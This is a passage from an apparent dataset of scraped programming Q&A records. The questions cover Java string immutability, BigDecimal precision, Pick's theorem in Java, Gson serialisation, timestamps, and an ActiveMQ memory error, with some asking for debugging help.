, that increases the probability of choosing a pair of numbers at random within the range [ 0,4x10^9 ] that would give a ratio within specified/related tolerance to about roughly 14 % , but with this technique the best we can get will be on average roughly 5 decimal places accurate when compared to the exact value . Is this way of reasoning correct ?","P ( ... ) = P ( A ) *P ( B ) * ( 1-P ( C ) ) + P ( B ) *P ( C ) * ( 1-P ( A ) ) + P ( C ) *P ( A ) * ( 1-P ( B ) ) = 27.0/70.0 = 38.57142857142857142857142857142857142857 ... . % # include < cstdio > # include < cctype > # include < ctime > # include < random > int main ( ) { std : :mt19937 engine ( time ( 0 ) ) ; engine.discard ( 10000000 ) ; std : :uniform_real_distribution < double > uniform_real ( 0.0,1.0 ) ; double prA = ( 6.0 / 7.0 ) ; double prB = ( 4.0 / 5.0 ) ; double prC = ( 3.0 / 4.0 ) ; std : :size_t trails = 4000000000 ; std : :size_t total_success = 0 ; for ( std : :size_t i = 0 ; i < trails ; ++i ) { int current_success = 0 ; if ( uniform_real ( engine ) < prA ) ++current_success ; if ( uniform_real ( engine ) < prB ) ++current_success ; if ( uniform_real ( engine ) < prC ) ++current_success ; if ( current_success == 2 ) ++total_success ; double prob = ( total_success * 1.0 ) / ( i+1 ) ; if ( ( i % 1000000 ) == 0 ) { printf ( `` % 05d Pr ( ... ) = % 12.10f error : % 15.13f\n '' , i , prob , std : :abs ( ( 27.0/70.0 ) - prob ) ) ; } } return 0 ; }",Probability Simulation Error not Converging +Java,"I 've ran into a bit of a confusion.I know that String objects are immutable . This means that if I call a method from the String class , like replace ( ) then the original contents of the String are not altered . Instead , a new String is returned based on the original . However the same variable can be assigned new values.Based on this theory , I always write a = a.trim ( ) where a is a String . Everything was fine until my teacher told me that simply a.trim ( ) can also be used . This messed up my theory.I tested my theory along with my teacher 's . I used the following code : I got the following output : When I pointed it out to my teacher , she said , it 's because I 'm using a newer version of Java ( jdk1.7 ) and a.trim ( ) works in the previous versions of Java.Please tell me who has the correct theory , because I 've absolutely no idea !",String a = `` example `` ; System.out.println ( a ) ; a.trim ( ) ; //my teacher 's code.System.out.println ( a ) ; a = `` example `` ; a = a.trim ( ) ; //my code.System.out.println ( a ) ; example example example,What is the difference between a = a.trim ( ) and a.trim ( ) ? +Java,"I have a classI want to obtain a copy of this class in runtime , e. g. a class likeWhich has all the same methods , but a different name.Proxy seem to help with delegating , but not copying the methods with all their bodies .",class Foo { int increment ( int x ) { return x + 1 ; } } class Foo $ Copy1 { int increment ( int x ) { return x + 1 ; } },How to make a copy of a Java class in runtime ? +Java,"I have a question regarding floating point arithmetic in java and its precision . I did do my research on here and via google and come across some solutions but am having difficulties implementing them in my design . So in Java I am making use of the BigDecimal class in getting my calculations accurate . Note that the variables are double and the values can have a precision up to 8 decimal places to the right when doing calculations . The result ( precision ) to display is known and thats what I 'll be storing as the current value . Also , all values come in dynamically ( through a method ) . The argument passed should be the currentValue + the step size . } Now , it works with some values but not all . Especially when I mess with the step size . So if step = 0.1 it was fine . If I made it 0.005 , I 'd get an AirthmeticException - non terminating decimal expansion on the step whereWhen .005 is set for the step variable , after making a BigDeciaml ( stepBD ) it comes out to .0049999999 ... Not sure if that helps but if you have any ideas please let me know . Thank you .","public void newValue ( float value ) { //Clip to valid range , ca n't go over minimum/max value value = Math.max ( minimumValue , Math.min ( maximumValue , value ) ) ; // TODO Implement better Floating Point Arithmetic precision MathContext mcI = new MathContext ( 0 , RoundingMode.HALF_UP ) ; MathContext mcF = new MathContext ( 8 , RoundingMode.HALF_UP ) ; BigDecimal valueBD = new BigDecimal ( value , mcF ) ; BigDecimal minimumBD = new BigDecimal ( minimumValue , mcF ) ; BigDecimal stepBD = new BigDecimal ( step , mcF ) ; BigDecimal currentValueBD = new BigDecimal ( currentValue , mcF ) ; BigDecimal totalStepsBD = valueBD.subtract ( minimumBD , mcF ) ; //Ensure value is divisible by stepsize totalStepsBD = totalStepsBD.divide ( stepBD , mcI ) ; valueBD = stepBD.multiply ( totalStepsBD , mcF ) ; valueBD = valueBD.add ( minimumBD , mcF ) ; // arithmetic without using BigDecimal ( old ) //int totalSteps = ( int ) ( ( value- minimumValue ) / step ) ; //value = totalSteps * step + minimumValue ; if ( ! ( valueBD.equals ( currentValueBD ) ) ) { valueBD = valueBD.setScale ( displayPrecision , RoundingMode.HALF_UP ) ; currentValue = valueBD.floatValue ( ) ; dispatch ( ) ; } totalStepsBD = totalStepsBD.divide ( stepBD , mcI ) ;",Java Floating Point Precision Issue +Java,"I 'm accessing a server for web service calls . When I 'm developing on the same network as the server , I can access the web service by its internal IP address but not its external IP address . However , if I 'm not on the network , I can only access it by its external IP address . What 's the best way to try one of the IP addresses and then fall back on the other ? Here 's a sample of my code for accessing only one or the other :","protected String retrieve ( ) { Log.v ( TAG , `` retrieving data from url : `` + getURL ( ) ) ; HttpPost request = new HttpPost ( getURL ( ) ) ; try { StringEntity body = new StringEntity ( getBody ( ) ) ; body.setContentType ( APPLICATION_XML_CONTENT_TYPE ) ; request.setEntity ( body ) ; HttpConnectionParams.setConnectionTimeout ( client.getParams ( ) , CONNECTION_TIMEOUT ) ; HttpConnectionParams.setSoTimeout ( client.getParams ( ) , SOCKET_TIMEOUT ) ; HttpResponse response = client.execute ( request ) ; final int statusCode = response.getStatusLine ( ) .getStatusCode ( ) ; if ( statusCode ! = HttpStatus.SC_OK ) { Log.e ( TAG , `` the URL `` + getURL ( ) + `` returned the status code : `` + statusCode + `` . `` ) ; return null ; } HttpEntity getResponseEntity = response.getEntity ( ) ; if ( getResponseEntity ! = null ) { return EntityUtils.toString ( getResponseEntity ) ; } } catch ( IOException e ) { Log.e ( TAG , `` error retrieving data . `` , e ) ; request.abort ( ) ; } return null ; } /* * @ return the URL which should be called . */protected String getURL ( ) { return INTERNAL_SERVER_URL + WEB_APP_PATH ; }",IP fallback in android +Java,"This is for my homework : How to create a public method called cage ( char [ ] [ ] arr ) that returns a char [ ] [ ] . The method should place Xs along the borders of the grid represented by the 2D array . In addition , it should place `` bars '' along the columns of the array , skipping one column for every bar . For example , if arr has 8 columns , the returning array looks like this : my other shape was this : Create a java class ArrayArt with static methods as specified below : a public method called frame ( char [ ] [ ] arr ) that returns a char [ ] [ ] . The method should put Xs along the borders of the grid represented by the 2D array and then it should return that array . For example , if arr has 4 columns and 4 rows , the resulting array should be : The source code for the frame printing is next :","X X X X X X X X X X X X X X X X X X X X X X -- -- jGRASP exec : java ArrayArt X X X X X X X X X X X X -- -- jGRASP : operation complete . public class ArrayArt { public static void main ( String [ ] args ) { printArray ( frame ( 4,4 ) ) ; } // frame printingpublic static char [ ] [ ] frame ( int n , int m ) { char [ ] [ ] x=new char [ n ] [ m ] ; for ( int row=0 ; row < x.length ; row++ ) for ( int col=0 ; col < x [ row ] .length ; col++ ) if ( row == 0 || row == n-1 || row == col+row || row == ( row+col ) - ( m-1 ) ) x [ row ] [ col ] = ' X ' ; else x [ row ] [ col ] = ' ' ; return x ; } //printArray public static void printArray ( char [ ] [ ] arr ) { for ( int row=0 ; row < arr.length ; row++ ) { for ( int col=0 ; col < arr [ row ] .length ; col++ ) System.out.print ( `` `` +arr [ row ] [ col ] ) ; System.out.println ( ) ; } } }","How to create a java class with static method called cage , that place X in a prison bar shape ?" +Java,"Recently I encountered a bug in an application I took over from another developer . I debugged for the reason and over an hour later I realized , that the problem was n't the code producing the exception , but some code executed before this returning wrong data . If I dived into this , I encountered the following : If the Exception would have been propagated ( a change I did ) , I would have found the reason for the bugs in a few minutes , as the stacktrace had pointed me to the problem . So how can I convince other developers to never catch and ignore exceptions in this way ?",try { ... } catch ( XYException e ) { },How convince other developers not to ignore Exceptions ? +Java,When I try to call getChildren ( ) on the mediapipeline which has my custom module endpoint running in it I 'm getting this exception : org.kurento.client.internal.server.ProtocolException : Exception creating Java Class for mycustomfilter.MyCustomFilterThis is the code which triggers it : Do I have to cast the List < MediaObject > to some other data type ?,List < MediaObject > mediaObjects = pipelines.get ( i ) .getChildren ( ) ;,ProtocolException in getChildren ( ) +Java,"So I want to calculate the number of points within any given triangle . I know I have to use Pick 's Theorem , but my code ends up being ridiculously long with the amount of if-else if statements to test for every case . I 've been using this as a guide How many integer points within the three points forming a triangle ? , but then end up with this ( vertices is an array of 3 arrays . Each array is the ( x , y ) coordinates of a vertex of the triangle ) : Could someone help me either fix the algorithm or give me an easier/better way to do this ? This code pretty much never works.Sorry about the long code , I did n't know what parts I should add so I put the whole algorithm.Edit : So I changed the algorithm to this ( Thanks to MBo ) : But , I do n't always get the right answer . Did I do something wrong ?","int maxX = Math.max ( Math.max ( vertices [ 0 ] [ 0 ] , vertices [ 1 ] [ 0 ] ) , vertices [ 2 ] [ 0 ] ) , minX = Math.min ( Math.min ( vertices [ 0 ] [ 0 ] , vertices [ 1 ] [ 0 ] ) , vertices [ 2 ] [ 0 ] ) , maxY = Math.max ( Math.max ( vertices [ 0 ] [ 1 ] , vertices [ 1 ] [ 1 ] ) , vertices [ 2 ] [ 1 ] ) , minY = Math.min ( Math.min ( vertices [ 0 ] [ 1 ] , vertices [ 1 ] [ 1 ] ) , vertices [ 2 ] [ 1 ] ) ; int height = Math.abs ( maxY - minY ) , width = Math.abs ( maxX - minX ) ; double area = Math.abs ( ( ( vertices [ 0 ] [ 0 ] * ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] ) ) + ( vertices [ 1 ] [ 0 ] * ( vertices [ 2 ] [ 1 ] - vertices [ 0 ] [ 1 ] ) ) + vertices [ 2 ] [ 0 ] * ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] ) ) / 2 ) ; if ( ( vertices [ 0 ] [ 0 ] == vertices [ 1 ] [ 0 ] ) & & ( vertices [ 0 ] [ 1 ] == vertices [ 2 ] [ 1 ] ) ) { area = ( ( Math.abs ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] ) - 1 ) * ( Math.abs ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] ) - 1 ) ) / 2 ; } else if ( ( vertices [ 0 ] [ 0 ] == vertices [ 2 ] [ 0 ] ) & & ( vertices [ 0 ] [ 1 ] == vertices [ 1 ] [ 1 ] ) ) { area = ( ( Math.abs ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] ) - 1 ) * ( Math.abs ( vertices [ 0 ] [ 0 ] - vertices [ 1 ] [ 0 ] ) - 1 ) ) / 2 ; } else if ( ( vertices [ 1 ] [ 0 ] == vertices [ 2 ] [ 0 ] ) & & ( vertices [ 1 ] [ 1 ] == vertices [ 0 ] [ 1 ] ) ) { area = ( ( Math.abs ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] ) - 1 ) * ( Math.abs ( vertices [ 1 ] [ 0 ] - vertices [ 0 ] [ 0 ] ) - 1 ) ) / 2 ; } else if ( ( vertices [ 1 ] [ 0 ] == vertices [ 2 ] [ 0 ] ) & & ( vertices [ 1 ] [ 1 ] == vertices [ 0 ] [ 1 ] ) ) { area = ( ( Math.abs ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] ) - 1 ) * ( Math.abs ( vertices [ 1 ] [ 0 ] - vertices [ 0 ] [ 0 ] ) - 1 ) ) / 2 ; } else if ( vertices [ 0 ] [ 0 ] == vertices [ 1 ] [ 0 ] ) { int b = Math.abs ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] ) ; /*double dist1 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) , dist2 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; */ if ( vertices [ 0 ] [ 1 ] > vertices [ 1 ] [ 1 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist1*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist2*/ ) / 2 ) ; } else if ( vertices [ 0 ] [ 1 ] < vertices [ 1 ] [ 1 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist2*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist1*/ ) / 2 ) ; } } else if ( vertices [ 0 ] [ 0 ] == vertices [ 2 ] [ 0 ] ) { int b = Math.abs ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] ) ; /*double dist1 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 1 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] , 2 ) ) , dist2 = Math.sqrt ( Math.pow ( vertices [ 2 ] [ 0 ] - vertices [ 1 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 2 ] [ 1 ] - vertices [ 1 ] [ 1 ] , 2 ) ) ; */ if ( vertices [ 0 ] [ 1 ] > vertices [ 2 ] [ 1 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist1*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist2*/ ) / 2 ) ; } else if ( vertices [ 0 ] [ 1 ] < vertices [ 2 ] [ 1 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist2*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist1*/ ) / 2 ) ; } } else if ( vertices [ 1 ] [ 0 ] == vertices [ 2 ] [ 0 ] ) { int b = Math.abs ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] ) ; /*double dist1 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 0 ] - vertices [ 0 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 0 ] [ 1 ] , 2 ) ) , dist2 = Math.sqrt ( Math.pow ( vertices [ 2 ] [ 0 ] - vertices [ 0 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 2 ] [ 1 ] - vertices [ 0 ] [ 1 ] , 2 ) ) ; */ if ( vertices [ 1 ] [ 1 ] > vertices [ 2 ] [ 1 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist1*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist2*/ ) / 2 ) ; } else if ( vertices [ 1 ] [ 1 ] < vertices [ 2 ] [ 1 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist2*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist1*/ ) / 2 ) ; } } else if ( vertices [ 0 ] [ 1 ] == vertices [ 1 ] [ 1 ] ) { int b = Math.abs ( vertices [ 0 ] [ 0 ] - vertices [ 1 ] [ 0 ] ) ; /*double dist1 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) , dist2 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; */ if ( vertices [ 0 ] [ 0 ] > vertices [ 1 ] [ 0 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist1*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist2*/ ) / 2 ) ; } else if ( vertices [ 0 ] [ 0 ] < vertices [ 1 ] [ 0 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist2*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist1*/ ) / 2 ) ; } } else if ( vertices [ 0 ] [ 1 ] == vertices [ 2 ] [ 1 ] ) { int b = Math.abs ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] ) ; /*double dist1 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] , 2 ) ) , dist2 = Math.sqrt ( Math.pow ( vertices [ 2 ] [ 0 ] - vertices [ 1 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 2 ] [ 1 ] - vertices [ 1 ] [ 1 ] , 2 ) ) ; */ if ( vertices [ 0 ] [ 0 ] > vertices [ 2 ] [ 0 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist1*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist2*/ ) / 2 ) ; } else if ( vertices [ 0 ] [ 0 ] < vertices [ 2 ] [ 0 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist2*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist1*/ ) / 2 ) ; } } else if ( vertices [ 1 ] [ 1 ] == vertices [ 2 ] [ 1 ] ) { int b = Math.abs ( vertices [ 1 ] [ 0 ] - vertices [ 2 ] [ 0 ] ) ; /*double dist1 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 0 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 0 ] [ 1 ] , 2 ) ) , dist2 = Math.sqrt ( Math.pow ( vertices [ 2 ] [ 0 ] - vertices [ 0 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 2 ] [ 1 ] - vertices [ 0 ] [ 1 ] , 2 ) ) ; */ if ( vertices [ 1 ] [ 0 ] > vertices [ 2 ] [ 0 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist1*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist2*/ ) / 2 ) ; } else if ( vertices [ 1 ] [ 0 ] < vertices [ 2 ] [ 0 ] ) { area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2*/ - ( ( ( width - 1 ) * ( height - 1 ) /*- dist2*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist1*/ ) / 2 ) ; } } else if ( minX == vertices [ 0 ] [ 0 ] ) { int a = 0 , b = 0 ; /*double dist1 = 0 , dist2 = 0 , dist3 = 0 ; */ if ( Math.min ( vertices [ 1 ] [ 0 ] , vertices [ 2 ] [ 0 ] ) == vertices [ 1 ] [ 0 ] ) { a = width - ( vertices [ 1 ] [ 0 ] - vertices [ 0 ] [ 0 ] ) ; b = height - ( vertices [ 1 ] [ 1 ] - vertices [ 0 ] [ 1 ] ) ; /*dist1 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 1 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] , 2 ) ) ; dist2 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; dist3 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; */ } else if ( Math.min ( vertices [ 1 ] [ 0 ] , vertices [ 2 ] [ 0 ] ) == vertices [ 2 ] [ 0 ] ) { a = width - ( vertices [ 2 ] [ 0 ] - vertices [ 0 ] [ 0 ] ) ; b = height - ( vertices [ 2 ] [ 1 ] - vertices [ 0 ] [ 1 ] ) ; /*dist1 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; dist2 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; dist3 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 1 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] , 2 ) ) ; */ } area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2 - dist3*/ - ( ( ( a - 1 ) * ( b - 1 ) /*- dist1*/ ) / 2 ) - ( ( ( width - a - 1 ) * ( height - 1 ) /*- dist2*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist3*/ ) / 2 ) ; } else if ( minX == vertices [ 1 ] [ 0 ] ) { int a = 0 , b = 0 ; /*double dist1 = 0 , dist2 = 0 , dist3 = 0 ; */ if ( Math.min ( vertices [ 0 ] [ 0 ] , vertices [ 2 ] [ 0 ] ) == vertices [ 0 ] [ 0 ] ) { a = width - ( vertices [ 0 ] [ 0 ] - vertices [ 1 ] [ 0 ] ) ; b = height - ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] ) ; /*dist1 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 0 ] - vertices [ 0 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 0 ] [ 1 ] , 2 ) ) ; dist2 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; dist3 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; */ } else if ( Math.min ( vertices [ 0 ] [ 0 ] , vertices [ 2 ] [ 0 ] ) == vertices [ 2 ] [ 0 ] ) { a = width - ( vertices [ 2 ] [ 0 ] - vertices [ 1 ] [ 0 ] ) ; b = height - ( vertices [ 2 ] [ 1 ] - vertices [ 1 ] [ 1 ] ) ; /*dist1 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; dist2 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; dist3 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 1 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] , 2 ) ) ; */ } area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2 - dist3*/ - ( ( ( a - 1 ) * ( b - 1 ) /*- dist1*/ ) / 2 ) - ( ( ( width - a - 1 ) * ( height - 1 ) /*- dist2*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist3*/ ) / 2 ) ; } else if ( minX == vertices [ 2 ] [ 0 ] ) { int a = 0 , b = 0 ; /*double dist1 = 0 , dist2 = 0 , dist3 = 0 ; */ if ( Math.min ( vertices [ 0 ] [ 0 ] , vertices [ 1 ] [ 0 ] ) == vertices [ 0 ] [ 0 ] ) { a = width - ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] ) ; b = height - ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] ) ; /*dist1 = Math.sqrt ( Math.pow ( vertices [ 2 ] [ 0 ] - vertices [ 0 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 2 ] [ 1 ] - vertices [ 0 ] [ 1 ] , 2 ) ) ; dist2 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 1 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 1 ] [ 1 ] , 2 ) ) ; dist3 = Math.sqrt ( Math.pow ( vertices [ 1 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; */ } else if ( Math.min ( vertices [ 0 ] [ 0 ] , vertices [ 1 ] [ 0 ] ) == vertices [ 1 ] [ 0 ] ) { a = width - ( vertices [ 1 ] [ 0 ] - vertices [ 2 ] [ 0 ] ) ; b = height - ( vertices [ 1 ] [ 1 ] - vertices [ 2 ] [ 1 ] ) ; /*dist1 = Math.sqrt ( Math.pow ( vertices [ 2 ] [ 0 ] - vertices [ 1 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 2 ] [ 1 ] - vertices [ 1 ] [ 1 ] , 2 ) ) ; dist2 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; dist3 = Math.sqrt ( Math.pow ( vertices [ 0 ] [ 0 ] - vertices [ 2 ] [ 0 ] , 2 ) + Math.pow ( vertices [ 0 ] [ 1 ] - vertices [ 2 ] [ 1 ] , 2 ) ) ; */ } area = ( width - 1 ) * ( height - 1 ) /*- dist1 - dist2 - dist3*/ - ( ( ( a - 1 ) * ( b - 1 ) /*- dist1*/ ) / 2 ) - ( ( ( width - a - 1 ) * ( height - 1 ) /*- dist2*/ ) / 2 ) - ( ( ( width - 1 ) * ( height - b - 1 ) /*- dist3*/ ) / 2 ) ; } public static int answer ( int [ ] [ ] vertices ) { int a = ( Math.abs ( ( vertices [ 1 ] [ 0 ] - vertices [ 0 ] [ 0 ] ) * ( vertices [ 2 ] [ 1 ] - vertices [ 0 ] [ 1 ] ) - ( vertices [ 2 ] [ 0 ] - vertices [ 0 ] [ 0 ] ) * ( vertices [ 1 ] [ 1 ] - vertices [ 0 ] [ 1 ] ) ) ) / 2 , b = pointsOnLine ( vertices [ 0 ] [ 0 ] , vertices [ 0 ] [ 1 ] , vertices [ 1 ] [ 0 ] , vertices [ 1 ] [ 1 ] ) + pointsOnLine ( vertices [ 1 ] [ 0 ] , vertices [ 1 ] [ 1 ] , vertices [ 2 ] [ 0 ] , vertices [ 2 ] [ 1 ] ) + pointsOnLine ( vertices [ 0 ] [ 0 ] , vertices [ 0 ] [ 1 ] , vertices [ 2 ] [ 0 ] , vertices [ 2 ] [ 1 ] ) , area = ( 2 * a - 2 - b ) / 2 ; // Also tried a + ( b / 2 ) - 1 ; return ( int ) area ; } public static int pointsOnLine ( int x0 , int y0 , int x1 , int y1 ) { BigInteger b1 = BigInteger.valueOf ( Math.abs ( x1 - x0 ) ) , b2 = BigInteger.valueOf ( Math.abs ( y1 - y0 ) ) ; return b1.gcd ( b2 ) .intValue ( ) ; }",How to Use Pick 's Theorem on Any Given Triangle +Java,I have two HashMaps to be serialised to JSON using Google Gson library : Why is the second HashMap correctly serialized but not the first HashMap ?,"final Map < String , String > map1 = new HashMap < String , String > ( ) { { put ( `` abc '' , `` def '' ) ; } } ; final Map < String , String > map2 = new HashMap < String , String > ( ) ; map2.put ( `` abc '' , `` def '' ) ; final Gson gson = new Gson ( ) ; final String s1 = gson.toJson ( map1 ) ; // `` null '' final String s2 = gson.toJson ( map2 ) ; // { `` abc '' : '' def '' }",Why can not Google JSON library properly serialize this HashMap ? +Java,"Alright , I ca n't seem to figure out what is going on , so I have decided to ask you guys . In PHP I am grabbing the UTC timestamp using this code : This will for example give me 1331065202Then I have this code in Java to get me the UTC timestamp : This will for example give me 1331093502Why are the 2 times so different ? Should n't they both be in UTC Timezone or am I doing something wrong ? I am hosted on a VPS and these scrips are on 2 different servers so could it be something on the server side and if so , what can I do ?",date_default_timezone_set ( `` UTC '' ) ; time ( ) long timestamp = System.currentTimeMillis ( ) / 1000 ;,Java Timestamp and PHP Timestamp giving 2 different times +Java,After enabling STOMP protocol ( before it was only default protocol enabled ) on the Activemq server it started to fail with oom . I have only 1 client using STOMP . It can work for 1 week without fails or fail a day after a restart . Here is the config file : start args : UPD : From Eclipse MemoryAnalizer : UPD : Before having OOM error there are several error in the log like the following : Would appriciate any help in debugging it . Can provide additional info if needed .,"< beans xmlns= '' http : //www.springframework.org/schema/beans '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans.xsd http : //activemq.apache.org/schema/core http : //activemq.apache.org/schema/core/activemq-core.xsd '' > < bean id= '' logQuery '' class= '' io.fabric8.insight.log.log4j.Log4jLogQuery '' lazy-init= '' false '' scope= '' singleton '' init-method= '' start '' destroy-method= '' stop '' > < /bean > < ! -- The < broker > element is used to configure the ActiveMQ broker . -- > < broker useJmx= '' true '' xmlns= '' http : 